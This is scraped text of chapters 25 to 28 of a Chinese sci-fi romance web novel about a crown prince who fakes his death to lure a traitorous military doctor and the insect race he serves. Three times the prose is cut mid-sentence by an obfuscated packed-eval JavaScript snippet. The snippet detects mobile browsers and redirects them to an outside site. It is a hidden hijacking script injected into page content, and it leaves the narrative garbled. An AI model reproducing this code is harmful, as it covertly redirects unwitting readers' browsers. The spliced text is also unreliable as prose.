他喜欢她眼里只有的自己模样,可是当他从女孩瞳孔的倒影中看见这张不属于自己的虚假面孔时,他又恨不得扯掉面具把人压在身下狠狠折磨一番,逼迫她承认口中的喜爱到底是对谁诉说。 他好像变得更加不正常了。 每当深夜在她累得睡着后,林深才会偷偷起身,通过飞船下的秘密通道直达基地,然后在天亮前完成必要的工作,在女孩醒来前重新回到她的身边。 不知道是因为他们太久没有标记,又或者他总忍不住质疑她对这具身体的感情到底是真是假,总之,太子殿下已经被憋得快要疯魔了。 明明是他计划的一切,怎么感觉到头来,最先不满足的人也是他自己呢? 林深,不,应该是那位在世人口中已经惨死的穆沉凛,此时正抿着唇站在女孩身边,久久注视着她的睡颜不肯离去。 时间已经差不多,他不能再继续待在这里陪她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912529|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过着与世无争的平静生活。 作为帝国的唯一继承人,他有不得不背负的使命和义务,但她却不一样。 她本该像其他贵族小姐一样悠然自得地待在帝星享受着众星捧月的生活,然后在适当的年岁相亲、约会、恋爱,最后在众人和父母的祝福中,嫁个一个相爱的高匹配度Alpha,幸福地过完此生。 而非像现在这样,因为他不经意地选择颠沛流离,远离帝星和家人,被迫滞留在一个荒无人烟的危险地带。 MS星系确实是最早发现虫族的地方,但随着这么多年的斗争,这片用来流放极恶罪犯的星系也渐渐被虫族抛弃,毕竟,已经锁定帝星位置并与帝国人无数次交手之后,胃口大开的虫族们已然将目标转移到那颗最有利可图的星球。 为了防止虫族提前占领MS星系并将其发展为另一个巢穴,成为以后进攻帝星的后备仓,帝国便一直派军队驻扎在此,适时监控并随时打击试图侵占这里的虫子。 好在这些年虫族出现在此处的几率越来越少,帝国的重心也逐渐转移至前哨地带,但作为年少时期第一次出任务的地点,穆沉凛还是在这里留下了几位心腹,并在每年举办的军事学院毕业测试中暗中评估并挑选优秀学员,毕业后纳入属于自己的先锋小队。 与此同时,随着陛下将军权彻底交于他后,男人也私下将此处打造成为他的另一处紧急备用基地。 这次行动中,为了女孩的安全,穆沉凛当然不愿把人随意丢到其他真正关押犯人的星球,况且为全力备战,他也不能离基地太远,便干脆把人一同接到了这颗星球上来。 因独特地形与气候被军方锁定用来作为大本营的8310星球,最为MS星系的中央指挥中心,也从未接纳过任何一位囚犯。 在得知太子殿下的计划后,元宿就命人紧急将那处殿下当年曾驻扎过的营地收拾出来,只是为了不出纰漏、不引起太子妃的怀疑,当然也不得不一切从简。 好在听殿下的意思,太子妃并没有对住所表现出嫌弃和厌恶,反倒是适应良好,元宿才松了一口气。 嗯,毕竟在他印象中,Omega们都非常娇贵爱干净,更需要被捧在掌心中仔细呵护。 像太子妃这样对环境毫不敏感的Omega也是十分少见。 元宿可是记得,当时在星舰上的时候,他们的太子妃殿下只除了偶尔抱怨食物过于清淡外,无论是被不同Alpha在病房中包围,又或是在封闭压抑的房间中足不出户,她的心理状态都保持良好,没有哭闹更没有发泄,只是平静又淡然地度过每一天。 就连安抚完暴乱后的殿下,从沉睡中醒来的女孩肉眼可见的疲乏,却也仍然安静地配合完成所有检查,之后便继续窝在房间里休息或阅读。 从某种程度来讲,元宿还是挺喜欢跟这位情绪稳定的太子妃殿下打交道的。 手腕传来熟悉的震动,穆沉凛抬手看了一眼收到的最新消息后随手滑动了几下,待信息成功发送,他习惯性弯下腰,毫不在意地跪在女孩床前,一遍一遍用留恋地目光描绘她的五官,终于在最后一刻,温柔眷恋地在眉心落下一个吻。 待他打败虫族,很快,他们就可以登上飞船离开这个偏远的地方,一起返回帝星。 等我回来。 温润炽热的吻再度碾过红唇,男人低头仔细嗅了嗅女孩半遮半掩的腺体后,借着夜色端详了一会儿她安稳的睡颜,半响后终于起身离开。 26. 第 26 章 皇宫和军队内部的流言蜚语渐渐多了起来。 不知从某天开始,失去太子殿下的帝国即将被虫族吞噬的消息在皇室内越传越凶,而迟迟没有作为的帝后也被众人默认事实如此,正当贵族们惴惴不安不知如何是好时,在事情愈演愈烈前,上一任主将之子沈安之被推了出来,成为帝国军队新任总指挥官。 然而谁都知道,这位沈家的独子是个对军事一窍不通的普通的Alpha,不仅信息素一般,就连自己老爹骁勇善战的精神也一点没继承,从小就是个只知道埋头读书的书呆子。 但是,虽然儿子不争气,他父亲却是个虎的,在穆沉凛出生前,这位跟陛下情同手足的大将军可是一直在前哨奋勇作战,为陛下和帝国抵挡住一波又一波来势汹汹的虫族。 作为太子殿下的第一任老师,即使早已退出前线,过了多年调养生息的平静日子,但谁也不敢小瞧这位在军队战场叱咤风云了大半辈子后,依然与陛下关系亲厚的男人。 只可惜,大概是因为早年间不要命的厮杀血拼,信息素的过度使用也让这位主将的身体越来越差,最后因为腺体坏死而彻底变成了一个没用的普通人。 幸好彼时的太子殿下已经成长到能独当一面,便理所应当地顶替男人位置,成为帝国新一任打击虫族的绝佳对象。 自那以后,沈戾也彻底收心,带着妻儿在家种花下棋喝茶,除了名头还在,却也实打实远离了皇室的纷争。 在这个节骨眼上,无人可用的帝后看来是实在没辙,只好暂且把沈安之推了出来。当然他们并不寄希望于这人真能上场指挥作战,无非是想借沈戾将军以前在军队中积攒起的威望尽可能压一压这些心绪浮躁的士兵,至少等虫族再次攻打之时,还能一抗。 然而不幸的是,沈安之的出现也向众人坐实了帝国现在尴尬的处境。 失去顶级武力的主心骨太子殿下后,帝国就是一盘散沙,现存的军队也许还能勉强抵挡住几次虫族的攻击,但若要长此以往下去,本就以数量取胜的虫族在飞速的繁衍与进化中,很快就会在一次又一次不眠不休的侵犯中把他们赶出这颗星球。 意识到几乎是必死局后,帝国前线的士兵们很快便发现未来生存希望的渺茫,有些意志薄弱的家伙甚至开始丧失斗志,一个个面色灰白的驻守在星舰中,只觉得世界暗无天日。 像是为了给大家一丝不灭的希望之火,被帝后单独点名的贺书愉也随即接下了一项极为艰难、几乎是不可能完成的任务:尽快解构虫族并找出其致命缺陷,制作出对其能产生毁灭性打击的药物。 明知不可能完成的贺书愉还是面色沉静地应下了帝后的要求,之后便把自己彻底锁在实验室内开始没日没夜的工作。 当然,早已叛国的男人肯定不会按照帝后的要求执行任务,正焦急等待虫族传唤的他巴不得天天守着那间存放虫尸的密室哪也不去,然而没有合适的借口,他又如何能理所当然的在众目睽睽之中把自己关进这间属于帝国最高机密的房间呢? 因此,帝后的这一举措对他而言无异于瞌睡递上热枕头。 尽管内心充斥着躁动和狂喜,男人却依然像往日那样身着干净的白大褂,目光沉凝冷然,对着学生和助手交待完必要的工作后,便踏着坚定的步伐不紧不慢地朝那间密室走去。 在他按下反锁键的同时,众人也都纷纷收到了通知。 受帝后之令,为尽快突破研究,这位天才军医长决定暂时闭关一周,除非他的允许,任何人都不得随意进出星舰的实验室,更不得随意打扰。 于是,这位被大家私下称为帝国最后希望的男人,只身凝视着眼前巨大的冰冻尸体,露出一抹扭曲的恶意微笑。 帝国的落幕之时,即将到来。 林深又不见了。 看着桌面上醒目的留言,桑宁叙面无表情地打开房门朝远处望去。 果然如他所说,收到信号的基地半夜带着燃料派人前来接应,在确认男人的飞船能正常运行后,被立即要求离开此处的林深无奈之下只好简单打包了行李,匆忙中给她留了张便签,随即就在军人的监视下被迫离去。 不远处曾停留在那里的庞然大物此时已彻底消失,不见踪迹。 除了林深给她留下的这些东西能够证明这人并非是自己的臆想,桑宁叙还是对着空空如也的衣柜发了好一会呆。 骗子。 他住在这里的一周,为了方便,两人把分开的单人床并在了一起,桑宁叙沉默地摸了摸男人常睡的那个位置后,将自己塞了进去。 没有平时他身上灼热的温度,她木着脸嗅了嗅被子,但什么都闻不到。 好讨厌。 这是她第一次觉得没有嗅觉也并不是一件好事,尤其是在这个世界,若她能像普通人那样嗅觉正常,也许,也许…… 从枕头底下摸出一件男人意外落下的宽松T恤,桑宁叙再次把脸埋进了衣服内。 好烦,什么味道都没有。 她皱着眉头像撒气似得一把丢开了那件黑衣,不想再看见,但又过了一会儿,原本在床边摇摇欲坠的衣服不知何时重回她的怀抱,被揉做一团紧巴巴贴在胸口。 不知道他又跑到哪里去了。 桑宁叙抬手摸了摸不知为何有一丝鼓胀感的腺体,并没有把这时有时无的奇怪感觉放在心上,单纯以为是因为自己情绪不稳定而导致信息素暂时的紊乱。 新闻里的报道依然和往常一样,诉说着帝国的和平与发展,皇室的统治下人民安居乐业,没有任何需要担忧的危险。 但桑宁叙却并不这样认为。 实在是因为林深走得突兀与蹊跷,她怀疑…… 头脑昏沉的女孩摸了摸还在发热的腺体,心想反正他短期内应该不会回来,于是一把撕掉了阻隔贴,任由自己的信息素迅速扩散直至占据整间屋子。 同一时刻,褪去伪装的穆沉凛正坐在基地的星舰中,严密监测着贺书愉的举动。 摄像机的那头,已经四五天没睡过一个好觉的贺书愉抱头蜷缩在密室中,死死盯着地面,面色狰狞地喃喃自语。 “殿下,要不要派人去看看……” 元宿站在男人身边一同望着视频中那人僵硬奇怪的举动,忍不住开口发问。 倒不是他善心大发,只不过,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916051|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人一不留神把自己弄死了,那他们与虫族好不容易建立起来的联系也会消失的一干二净。 说来好笑,为了保护这位叛徒,元宿等人居然需要日夜不休地监控着他的举动,以防男人一上头把自己给弄死。 “不急。” 比起元宿的担忧,穆沉凛显得就冷静许多。 他面无表情地一下一下轻扣着桌面,目光聚焦在那位瑟瑟发抖的男人身上,在遥远的荒星上无比耐心地陪伴着这位军医长一同等待。 看着殿下沉稳淡定的姿态,元宿心中的唯一一点不安也被驱散,他沉下心来再次将注意力转回视频中的那人,这时的贺书愉又像是从疯狂中恢复了平静,从地上好不容易爬起来后正如痴如醉地望着那个已死的恶心生物,不知不觉中竟然张开双臂,似是想要上前拥抱的模样。 真是个疯子。 元宿紧皱着眉头满眼嫌恶地看着这位名声赫赫的军医长,只觉得这群搞研究的人实在是过于变态。 连他们经过特殊训练的Alpha都厌恶的玩意儿,这人到底是如何抵抗住生理排斥,居然试图亲近并接纳虫族的呢? 也许这就是血脉和基因的延续吧…… 元宿实在没眼看下去这个神经病上前拥吻那个异种生物的画面,只一眼他都觉得自己下一秒就会在殿下面前失态吐个一干二净。 也不知道殿下是怎么撑住的。 元副指挥官忍不住看了一眼殿下的侧脸,穆沉凛依然保持着刚才那幅若无其事的淡然姿态,像是并没有看见贺书愉的夸张举动一般,目光平静地注视着画面。 看来他还需要修炼…… 元宿在心里偷偷摸摸唾弃自己没用,继而对殿下的敬佩之情又迈上了新的台阶。 虽然一动不动地监视着贺书愉,但思绪早已飞到星球另一端的太子殿下此时满脑子都是临走前躺在床上熟睡女孩的身影。 不知道发现他消失,她会不会难过。 想到前些天还和人黏在一起谈天说地、亲亲抱抱的穆沉凛突然难耐地眨了眨眼,第一次懂得了什么叫恋家。 看来等一切结束后,他需要给自己放个长长的假期。 “殿下……” 随着元宿紧张地出声,穆沉凛也注意到画面中那人因为过于激动,此时正手舞足蹈地跪在地下对着虚空激烈地大吼大叫。 “通知前哨,虫族即将来犯,各部门立即归位时刻做好准备。” “让江止整顿好队伍,我们随时准备出发。” 穆沉凛扫过画面后对着元宿淡淡吩咐。 “遵命!” 收到命令的元副官马步不停地朝室外走去,只留太子殿下一人不紧不慢地从位置上起来戴好手套。 恢复清醒和正常的贺书愉此时已经消失在画面中。 收拾完毕,男人凑近屏幕,目光锋利犹如利剑刺向画面中那个他熟悉得不能再熟悉的庞然大物。 几分钟后,当他收到贺书愉私自前往星舰控制室的情报后,穆沉凛也终于缓缓勾起一抹笑意。 很好,贺书愉,他非常满意。 现在,狩猎正式开始。 27. 第 27 章 在星舰中的日子,是分不出昼夜黑白的。 浩瀚无际的暗沉宇宙,没有日月升降,没有花草鸟鸣,有的只是无垠的寂静与黑夜。 贺书愉站在总控室内轻蔑又不屑地白了一眼那个被他从身后捅了一针直接昏过去的舰长,昏睡中的男人已经被他毫不在意地踢到了门后的角落处。 一路都非常畅通,甚至比他想象中还要容易,当然这也都得益于他的提前布局。 傲慢的男人在心中洋洋得意地想着。 为了今天这一刻,很早之前,他就开始暗中在星舰各个部门安插、买通人手。 现在穆沉凛死了,元宿和江止所带领的先锋队也被帝后派出追踪虫母的巢穴,所以在这艘星舰上,除了那个天天被拉着开会什么也不懂的沈安之以外,他基本算得上是说一不二。 而耐心等待了这么多时日以来,他也终于如愿得到了那位的回应。 几乎全族倾巢而出的雄虫们很快就能到达,待他解除前哨的电击能量网后,这群东西就能肆无忌惮地突破哨口,把星舰上帝国最后的希望扫荡地一干二净,之后…… 为虫母效力,他心甘情愿。 想想帝国即将面对的惨状,贺书愉嘴角的笑意便怎么也压不下去。 从母亲去世以后,他等这一刻等得实在是太久了。 满眼红血丝的男人欣赏着从窗户上倒映出的那个熟悉面容,良久,他只觉得自己恍惚间又看见了母亲苍白虚弱的面孔,以及她临走前对他交待过无数遍的话语。 “小愉……” “一定要把它们销毁……” “……绝对不要……不要好奇……” “答应我……” 母亲,可惜我最后还是背弃了与您的承诺。 但是,等我拿下帝星,您也一定会认同我的决定,为我感到骄傲。 这是我们贺家生来的使命。 既然您无法继承外公的遗志,那么就请您放心的去吧,而我,将接手外公的研究,让它成为我们一统帝星的绝佳工具。 属于穆家的时代也是时候终结了。 贺书愉很小的时候就知道自己和其他的孩子都不太一样。 他没有父亲,只有母亲。 虽然母亲身体不好总是一幅病恹恹的模样,但她却是全世界最好的母亲,极尽给予他所有的爱与呵护。 因此,尽管总是被其他孩子嘲笑辱骂,但贺书愉却并不在乎,最多也只是在被骂得受不了时悄悄躲开。 母亲在他出门前总是反复叮嘱,叫他一定不要惹事生非,那些正经王爵贵族的后代们,他们惹不起。 小小的贺书叙似懂非懂地点点头。 虽然他一直不明白,自己和母亲一直住在一栋还算漂亮的房子里,母亲也不用出门工作,只是偶尔会有一个几乎能当他爷爷岁数的男人光临家中,盯着他面色复杂地看一会儿就离去,之后母亲就会得到很多钱,然后给他买很多很多漂亮的新衣服。 直到他10岁那年,老爷爷来得次数越来越少,但钱却依然源源不断地流入家中,母亲眼中的忧愁却逐渐增多,笑意越来越少,常常在黑夜中独自坐在客厅发呆。 彼时的贺书愉不知道发生了什么,他只知道在那后来,母亲收到过一封纯白的信笺,然后很快他们就搬离了那里,在一处远离皇宫的偏僻宅院中落脚生活。 可是糟糕的却是,母亲的身体也一天一天虚弱下去。 尽管之前存了很多钱,他也陪着母亲去过很多次医院,但每位医生的回答都异常统一。 查不出母亲身体内部的病原体。 而每次从医院回来,母亲也都会把自己锁在屋子里以泪洗面。 随着他一天天长大,母亲的求生意志也越来越小,总是卧床不起也拒绝吃药,虽然那些药其实并没有什么效果。 哪怕只是心里安慰,贺书愉也依然定时定点将母亲从睡梦中叫醒,看着她吞下那些苦涩的药片后才能安心。 只可惜,当他以优异的成绩从帝国第一医学院毕业后,终于不再担心他独自一人的女人笑盈盈地接过毕业证书,然后在他忙着准备晚餐时,在卧室内安详又宁静地咽下最后一口气。 母亲的死亡对他而言并不意外,毕竟很久之前,他就已经意识到女人满是疮痍的内心和对继续活下去的痛苦,所以当他确认母亲已经故去时,居然松了口气。 不过让他没想到的是,在母亲的葬礼上,他意外再见了那位头发花白、彼时已经腿脚不便的老人。 在老人说明来意又跟他促膝长谈了半天后,目送他在一群群仆人的簇拥下离去,贺书愉转身来到母亲的墓前,最后一次摸了摸她相片上温柔脆弱的笑脸。 那位老人,或者应该说,他的亲爷爷,已经为他安排好在皇宫中的职务,就等着他前去报到。 贺是他母亲的姓,他一直以为的父亲早已亡故,毕竟母亲也从未在他面前提起。 只不过现在…… 贺书愉定了定心神,回家便开始匆匆收拾行李和母亲的遗物,准备尽快赶往帝都任职。 同样也是那天,他终于发现了那个被母亲尽力隐藏十几年,关于外公和她的秘密。 当穆沉凛带着嚣鹰战队赶到前哨时,源源不断地虫族已然在贺书愉的安排下顺利通过他们苦心设计的能量网,被打了个猝不及防的将士们在一片片哀嚎中几乎是被碾压式攻击,星舰内部更是惨不忍睹、血流成河。 沈安之已经提前根据他的要求把大部分的士兵和后勤人员都安排在最内部的储藏室中,尽可能在他们到来之前保留战力,同时让贺书愉先体验一会儿成功的快感。 已经沉浸在喜悦氛围中的男人当然没有留意到另一波小队的到来,他双目通红地盯着地下被吸干了脑髓的头颅,一脚上去狠狠碾了几下后,又肆无忌惮地站在原地哈哈大笑了起来。 疯子…… 元宿和江止看着视频里传来的画面,饶是见过无数血腥暴力场面的二人,在意外对视时也发现了彼此眼中的惊悚。 当穆沉凛收到沈安之的警报时,已经无限接近于藏匿地点的虫族虽然掉进了他们提前布置好的陷阱,但随着密密麻麻更多雄虫的出现,听着门外传来让人毛骨悚然地刮擦和高鸣声,被士兵层层包围的沈安之紧握着手中的玻璃瓶,还是几近晕厥。 是时候了。 收到殿下命令的元宿和江止带着最精锐的先锋队立即动身朝星舰内部冲去,这只由穆沉凛精挑细选并亲自带领训练的小队,此时正以最快的速度朝内部突袭而去,与此同时,内部被围困并苦苦等待的其余士兵们也在沈安之的号召下放弃躲避,里应外合的朝外部厮杀而去。 依然隐藏气息躲在飞船中的穆沉凛粗略判断了一下这次来袭的虫族数量后,渐渐放下心来。 今天必定是一场恶战。 帝国和虫族交手这么多年,眼看终于能分出胜负,他相信,那位一定会在帝国即将覆灭之前,从它们最初的巢穴中动身,拖家带口前往这颗富饶的星球。 不过,就算它不出现也没关系,至少借这次机会,他们可以连根拔起贺书愉及其背后的势力,然后再一同斩断他与虫族的联系。 想到这里,穆沉凛不禁眯了眯双眼。 从他真正和虫族交手开始,他就发现自己不像其他帝国人那样,对这类生物有着与生俱来的恐惧和逃避。相反,当他第一次见到真正的雄虫时,穆沉凛竟意外感受到莫名的愉悦和兴奋,随之而来的,则是信息素的高度活跃。 紧接着,在所有 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当他熟练后尝试的次数多了,穆沉凛也逐渐发现,他居然可以无需借用掩护直接接入它们的灵能网且不被发现,但却还是不能离虫母的中心意识太近。 虽然到现在为止他也不知道确切的原因,但这也的确为他预判虫族的行动增添了不少助力。 只不过,过度的连接和读取让他不免神志不清了一段时间。不过最糟糕的地方在于,由于被过度影响,他甚至自发地否定起自己的种族,在混沌中无意识地认为自己就是一只包裹在帝国人人皮下的虫子。 自那之后敏锐意识到不妥的穆沉凛便再也没有尝试过与虫族的连接,并在他自己的要求下紧急完成心理疏导后又将自己关了近一周的禁闭,等再次回归军队时,终于神志清醒的太子殿下便察觉到了些什么。 贺书愉能与虫母取得联系并不让他意外。 毕竟,当年就是贺书愉的外公使用了特别的手段才将那只雄虫活捉回来,随后着手进行研究。 只不过他的实验被帝后最终叫停,那时已经彻底癫狂的老者也被锁进了不见天日的囚牢。 帝后本没打算要他的命,只是,当他们发现他竟然已经丧心病狂到私下进行人体实验后,便不再顾忌其他支持者的激烈反对,贺书愉的外公很快就被斩杀,连带着的,帝后也在皇宫内部干脆进行一波大清洗。 凡是站在贺书愉外公身边的支持者,一律被问斩流放。 性格温顺的现任帝王第一次向公众展示出自己的铁血手腕,在那之后,所有人都夹着尾巴安分了很久,而关于贺书愉外公领导的秘密实验的一切资料也均被彻底销毁,只除了那具来之不易的尸体。 从贺书愉成为军医长入驻星舰起,穆沉凛就已经把他的背景和过往挖得干干净净。 看着摆在面前的各种资料,虽然惊讶于贺承科竟然有个外孙,但考虑到男人顶尖的技术和出色的研究成果,穆沉凛最终还是把人放了进来。 只不过…… 他确实没想到,当年有部分绝密资料和研究成果居然被贺承科那个老家伙偷偷转移到宫外,还被他的亲孙子发现了。 当他第一次带领贺书愉一起踏入那间密室时,一直在暗中观察男人反应的穆沉凛几乎是立刻就发现他眼中划过的一丝痴迷与算计。 既然如此,穆沉凛便将人好生安顿在星舰上,同时无时无刻都派人严密监控他的一举一动。 当确认贺书愉和虫母成功取得联系时,比起他自己,更高兴的人就是穆沉凛。 父王希望在有生之年找到虫穴消灭虫母,恰好他也是这么打算的。 贺书愉,则是他们在漫长等待与停滞中,出现的唯一希望。 28. 第 28 章 当元宿和江止带人从侧面突袭时,贺书愉还是震惊了一下,但也只是一瞬间。 大概是没想到星舰已被血洗,匆忙营救中的二人竟直接略过了还脚踩着尸体的他,径直朝里面冲去。 来得倒是巧,只可惜太晚了。 没有太子殿下那样的战力,就算人再多又有何用,还不是一同沦为雄虫嘴下可怜的食物。 果然不出半个钟头左右,元宿江止就架着沈安之疯狂朝外跑了出来,身后还跟着一大批士兵。 怎么回事,怎么剩余的人比他想象中还多? 此时以一众帝国士兵为中心,勉强吃饱停止杀戮的雄虫们在虫母的吩咐中,一点一点将他们包围了起来。 “贺医生,你……” 刚有护士惊呼着发出提问,随即就被贺书愉脸上骇人的表情唬住,僵硬着低下头去再也不敢多说一句。 “贺书愉,你什么意思?” 把吓得腿软的沈安之交给其他人后,元宿状作不解的模样质问着站在他们对面却并没有被虫族攻击的男人。 “元副官,如你所见,我是来带领帝星走向下一个辉煌时代的。” “你在胡说些什么?” “元副官,跟陛下联络吧。” 一个通讯器被男人丢到元宿脚边。 贺书愉双手抱臂,此时正站在一只雄虫的身旁得意洋洋地对着元宿下令。 “贺书愉你凭什么?” 人群中刚有战士不满,还不等众人反应,已经惨叫着头顶破了个洞的男人便在众目睽睽之中瞬间没了气息。 收手的虫族将那人的脑袋从身体上掰下,当做玩具一般骨碌碌的在地下滚来滚去,而男人剩下的肢体也早已被其他雄虫一哄而上分吃干净。 比起其他人害怕、恶心、要吐不吐的惨状,贺书愉只是好以整暇地站在原地,语气疯狂又平静的对着元宿继续开口:“让他们二位收拾好东西从皇宫滚蛋,今天开始,伟大的虫族将入驻帝星,而我,作为帝国的唯一代表,在虫母抵达之前,奉命整顿帝星及人民,为迎接虫母做好准备。” “贺书愉你是不是疯了?” “你这是叛国!” “快点让它们离开帝星。” 听着耳边此起彼伏的咒骂、愤怒和诋毁,儿时糟糕的回忆再度涌上心头,贺书愉顿时只觉得头脑发闷,浑身的血液都朝上奔流而去,在恍惚之间极度暴躁的男人几乎是用尽全身力气癫狂地吼了起来:“都闭嘴!” “给我闭嘴!” 如蜜蜂般围绕着的嗡嗡声终于减弱消失,贺书愉顿时觉得自己舒服了一点,不顾他人或厌恶或惊恐的视线,男人几乎是下一秒就调整好表情又恢复到平时高高在上的清冷模样,对着元宿不耐烦地催促:“快点,你是想让我把他们都杀光吗?还是要我现在就踏平帝星?你自己选。” “贺书愉,你会后悔的。”元宿目光沉沉,一字一句对着男人说道。 “呵呵,我后不后悔不知道,但要是再磨蹭下去,后悔的人可就不止你一个了。” 在贺书愉玩味嘲弄的语气中,元宿警惕地快速俯身捡起了那个通讯装置,随后按照男人的要求,向帝后报告了前哨现在的状况。 “元副官,就按他说得办吧。”陛下疲惫地语气从扩音器里传来,“告诉他,我会带人立即离开皇宫,作为条件,务必请他们不要伤害帝星的子民。” “这就用不着陛下操心了。” 贺书愉傲慢地从元宿手中一把夺过通讯设备,在他愤恨憎恶的眼神中,冷笑着单方面切断了联络。 “看各位的表情,大家似乎都对我非常不满。” 贺书愉嘴边噙着一抹浅淡的笑意,缓缓扫过人群中的每一张脸,像是在欣赏每个人迥异的表情。 “也是,像你们这样如此平凡的愚昧之人,又如何能理解我所制定的伟大设想。”沉浸在自己幻想中的男人双手合十贴在胸口,对着面前的这群人陶醉地喃喃自语道。 “你们也只配留在这里,成为伟大虫族的食物。” 在星舰上耽误的时间太久,虫族已经开始躁动不安,贺书愉看着身边那物正难耐地摩擦着口器,时不时发出难听的嘶鸣,大股大股的粘液流淌在他脚边几乎汇聚成一条小溪后,就知道又到了它们用餐的时间。 “去吧,放开了吃,都是你们的。” 随着男人话音刚落,元宿等人脸色骤变,在众人还没反应过来之际,早已迫不及待的虫子们就已经彻底将他们围死在其中,几个站在外围落单的可怜人此时已经落入口中,正被它们大快朵颐地吃了个干净。 来不及了,就现在。 元宿用余光看见贺书愉已经头也不回地独自进入星舰的备用飞船,在确认他启动飞船准备离去时,元宿对背后的众人做了个手势。 此时,原本还处于弱势的人群中突然爆发出一股浓度高达几十倍的极强信息素,早已预料到且做好防护措施的众人纷纷举起手里的武器朝对面攻去。在信息素的帮助下,虽然虫子们并没有被直接粉碎,但也在哀鸣中一个接着一个倒下,随后被士兵们干脆利索的狙了个干净。 太子殿下的信息素只有从他腺体里直接释放才会产生最强效果,但即便如此,本身对虫族就有强大制约力的信息素在经过精密的提取后,也能发挥出让人惊喜的巨大功效。 贺书愉跑不掉,殿下会亲自解决他。 至于皇宫内部,也早在陛下答应贺书愉的要求后,那些迫不及待蠢蠢欲动埋伏在暗处的敌人早就沉不住气,立马跳了出来对着帝后大放厥词,只可惜,陛下的禁卫军早就做好了万全准备,此时这群叛徒已然被团团包围,满脸震惊又不可置信地等候发落。 皇宫的事情无需他们忧心,太子殿下早已和帝后备下充足人手,那些欲望贪婪被贺书愉忽悠的蠢蛋们成不了什么气候。 真正的战场在这里。 元宿看着不远处成群结队几乎拥挤到无法看清的小黑点朝这边一波一波地飞来时,随之而来的也是几乎无法阻挡的精神污染。 死亡、绝望、恐惧不再是单纯的感觉,伴随着密密麻麻的震翅和成千上万的高频音浪,所有人都只觉得眼前一黑,随即,从自己身体中发出的细密切割、刮擦、咀嚼和吸吮声同时响起,无数细小的声音不断在体内回荡,每个人有一种自己已经被吞吃殆尽,只剩皮囊外骨的惊悚感。 好在殿下的信息素还能撑一段时间。 不少普通士兵此时已经失去意识躺在地下疯狂地抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921093|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挠自己的身体,只剩元宿等人带领的先锋小队还在苦苦支撑。 无论如何,也要先把沈安之平安送回帝星。 趁着大批的虫族还未赶到前,他们动作利落地把人丢进来时的飞船,设定好返程航线后,又死死抵挡住几波虫族的攻击,待飞船以最快的速度消失在视线内后,他们才微微松了口气。 正悠闲坐在飞船中的贺书愉从星舰离开后,身边就跟随着几只雄虫陪他一起返回帝星。 然而,本以为会无比顺利的旅途却在半路发生了异变。 在虫族甚至没来得及向灵能网落发出信息前,就已经被跟在身后的穆沉凛放出信息素粉碎了个干净。 当贺书愉终于意识到情况不对时,也早已被太子殿下一枪爆开舱门,然后把人按着头从船体内揪了出来。 “什么,你没死?” 在看见穆沉凛熟悉的面孔从天而降后,从未想过这种可能的贺书愉终于露出今天唯一一个失态的表情,同时男人也顾不上维持自己形象,当场就失声叫了出来。 “怎么可能,明明你被……” “明明我给你……” 穆沉凛懒得和他废话,冰醋酸早已围绕在身旁,威压之下的贺书愉更是一个字都说不出来。 没有虫族的保护,他贺书愉什么都不是,在穆沉凛面前,太子殿下甚至都不用亲自出手,他就已经蜷缩在一起痛苦地说不出来话了。 “……不可……能!” 浑身是汗的男人睁着即将爆裂的眼睛,满脸憎恶又怨毒地死死瞪着穆沉凛,就是不肯相信这个连虫母都确认死亡的男人,当初到底是如何逃出生天的。 明明,明明,他已经被撕得粉碎,而且是在那么多雄虫的包围下,几乎是被见证了死亡。 他是怎么办到的? 好恨啊,他好恨! 穆沉凛的出现也就宣告着他计划的彻底失败,就算虫母派再多的雄虫来又有何用,他注定…… 不对,为什么没用?! 只要虫母肯派出更多的虫族,就算穆沉凛在又如何,他只有一人,但它们有数以万计源源不断的…… “贺书愉。” 被捆绑后丢在飞船上的贺书愉面色苍白地勉强把眼睛睁开一条缝隙,目光阴毒地盯着那个面无表情的顶级Alpha冷漠地注视着他。 “你现在只有一个选择,联络它,确认帝星已被成功占领,让它立刻动身前往。” “哈哈哈哈哈,好啊穆沉凛,你也未免太狂妄自大了。” 贺书愉在听到男人的要求后立即嘲弄讽刺地大笑出声,只可惜,现在的他再也没有刚才那样风光无限的强势姿态,反倒是像个可怜的虾米一样倒在地上仪态全无,气喘吁吁地用着沙哑的破锣嗓子对着穆沉凛点评,“是,你的信息素是顶级,但那又如何,难道你忘记了你的信息素失控症吗?哈哈哈哈哈,就算我按照你的要求让虫母到来,你也不可能用信息素打败它……” “抱歉,倒是让你失望了。”穆沉凛居高临下地望着男人,嗓音淡淡的在他耳边丢下一记惊雷,“我的信息素暴乱早在第一次标记后就痊愈了。” “你所以为的,不过是我想让你看见的。” “仅此而已。” 29. 第 